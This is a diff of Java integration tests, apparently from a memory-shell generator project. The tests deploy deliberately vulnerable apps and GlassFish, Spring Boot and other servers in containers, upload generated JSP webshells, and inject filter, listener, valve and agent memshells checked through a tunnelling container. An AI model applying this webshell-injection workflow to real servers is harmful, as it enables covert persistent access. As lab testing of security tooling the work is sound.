public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath();
|
||||
public static final Path springBoot2Dockerfile = Path.of("..", "vul", "vul-springboot2", "Dockerfile").toAbsolutePath();
|
||||
public static final Path springBoot2JettyDockerfile = Path.of("..", "vul", "vul-springboot2-jetty", "Dockerfile").toAbsolutePath();
|
||||
public static final Path springBoot2UndertowDockerfile = Path.of("..", "vul", "vul-springboot2-undertow", "Dockerfile").toAbsolutePath();
|
||||
public static final Path springBoot2WebfluxDockerfile = Path.of("..", "vul", "vul-springboot2-webflux", "Dockerfile").toAbsolutePath();
|
||||
public static final Path springBoot3Dockerfile = Path.of("..", "vul", "vul-springboot3", "Dockerfile").toAbsolutePath();
|
||||
public static final Path springBoot3WebfluxDockerfile = Path.of("..", "vul", "vul-springboot3-webflux", "Dockerfile").toAbsolutePath();
|
||||
|
||||
public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("..", "asserts", "agent", "jattach-linux"));
|
||||
public static final MountableFile springBoot1JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot1", "build", "libs", "vul-springboot1.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot2JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot2JettyJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-jetty", "build", "libs", "vul-springboot2-jetty.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
|
||||
|
||||
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
|
||||
|
||||
public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("..", "assets", "agent", "jattach-linux"));
|
||||
public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script", "tomcat_pid.sh"));
|
||||
public static final MountableFile tongweb8Pid = MountableFile.forHostPath(Path.of("script", "tongweb8_pid.sh"));
|
||||
public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh"));
|
||||
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh"));
|
||||
public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh"));
|
||||
public static final MountableFile besPid = MountableFile.forHostPath(Path.of("script", "bes_pid.sh"));
|
||||
public static final MountableFile apusicPid = MountableFile.forHostPath(Path.of("script", "apusic_pid.sh"));
|
||||
public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script", "jetty_pid.sh"));
|
||||
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script", "websphere_pid.sh"));
|
||||
@@ -48,28 +49,4 @@ public class ContainerTool {
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
public static String getUrlFromSpringBoot(GenericContainer<?> container) {
|
||||
int port = container.getMappedPort(8080);
|
||||
String host = container.getHost();
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
public static String getUrlFromWebLogic(GenericContainer<?> container) {
|
||||
int port = container.getMappedPort(7001);
|
||||
String host = container.getHost();
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
public static String getUrlFromWAS(GenericContainer<?> container) {
|
||||
int port = container.getMappedPort(9080);
|
||||
String host = container.getHost();
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -90,8 +90,11 @@ public class ShellAssertion {
|
||||
|
||||
@SneakyThrows
|
||||
public static MemShellResult shellInjectIsOk(String url, String server, String serverVersion, String shellType, String shellTool,
|
||||
int targetJdkVersion, Packers packer,
|
||||
GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
||||
int targetJdkVersion, Packers packer,
|
||||
GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
||||
if (ShellTool.Proxy.equals(shellTool)) {
|
||||
return null;
|
||||
}
|
||||
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
|
||||
String shellUrl = urls.getLeft();
|
||||
String urlPattern = urls.getRight();
|
||||
@@ -397,16 +400,16 @@ public class ShellAssertion {
|
||||
|
||||
public static void injectIsOk(String url, String shellType, String shellTool, String content, Packers packer, GenericContainer<?> container) {
|
||||
switch (packer) {
|
||||
case JSP, ClassLoaderJSP, DefineClassJSP -> {
|
||||
case JSP, ClassLoaderJSP, ClassLoaderJSPUnicode, DefineClassJSP, DefineClassJSPUnicode -> {
|
||||
String uploadEntry = url + "/upload";
|
||||
String filename = shellType + shellTool + packer + ".jsp";
|
||||
String shellUrl = url + "/" + filename;
|
||||
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
|
||||
VulTool.urlIsOk(shellUrl);
|
||||
}
|
||||
case JSPX -> {
|
||||
case JSPX, JSPXUnicode -> {
|
||||
String uploadEntry = url + "/upload";
|
||||
String filename = shellType + shellTool + ".jspx";
|
||||
String filename = shellType + shellTool + packer + ".jspx";
|
||||
String shellUrl = url + "/" + filename;
|
||||
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
|
||||
VulTool.urlIsOk(shellUrl);
|
||||
|
||||
@@ -1,100 +1,59 @@
|
||||
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.apache.commons.lang3.tuple.Triple;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.BeforeAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.time.Duration;
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class GlassFish3ContainerTest {
|
||||
public static final String imageName = "reajason/glassfish:3.1.2.2-jdk6";
|
||||
static Network network = Network.newNetwork();
|
||||
public class GlassFish3ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||
"reajason/glassfish:3.1.2.2-jdk6",
|
||||
"/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.waitStrategy(Wait.forLogMessage(".*(deployed|done).*", 1))
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.unSupportedCases(List.of(
|
||||
Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Suo5v2, Packers.AgentJar),
|
||||
Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Suo5v2, Packers.AgentJar)
|
||||
))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1))
|
||||
.withExposedPorts(8080);
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@BeforeAll
|
||||
static void setup() {
|
||||
container.waitingFor(Wait.forHttp("/app"));
|
||||
}
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
List<Triple<String, String, Packers>> unSupportedCases = List.of(
|
||||
Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Suo5v2, Packers.AgentJar), // request.inputStream is empty
|
||||
Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Suo5v2, Packers.AgentJar) // request.inputStream is empty
|
||||
);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,93 +1,51 @@
|
||||
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.BeforeAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class GlassFish4ContainerTest {
|
||||
public static final String imageName = "reajason/glassfish:4.1.2-quick";
|
||||
static Network network = Network.newNetwork();
|
||||
public class GlassFish4ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||
"reajason/glassfish:4.1.2-quick",
|
||||
"/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@BeforeAll
|
||||
static void setup() {
|
||||
container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1));
|
||||
}
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,93 +1,51 @@
|
||||
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.BeforeAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class GlassFish501ContainerTest {
|
||||
public static final String imageName = "reajason/glassfish:5.0.1";
|
||||
static Network network = Network.newNetwork();
|
||||
public class GlassFish501ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||
"reajason/glassfish:5.0.1",
|
||||
"/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@BeforeAll
|
||||
static void setup() {
|
||||
container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1));
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,93 +1,51 @@
|
||||
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.BeforeAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class GlassFish510ContainerTest {
|
||||
public static final String imageName = "reajason/glassfish:5.1.0";
|
||||
static Network network = Network.newNetwork();
|
||||
public class GlassFish510ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||
"reajason/glassfish:5.1.0",
|
||||
"/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@BeforeAll
|
||||
static void setup() {
|
||||
container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1));
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,92 +1,58 @@
|
||||
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.BeforeAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class GlassFish6ContainerTest {
|
||||
public static final String imageName = "reajason/glassfish:6.2.6-jdk11";
|
||||
static Network network = Network.newNetwork();
|
||||
public class GlassFish6ContainerTest extends AbstractContainerTest {
|
||||
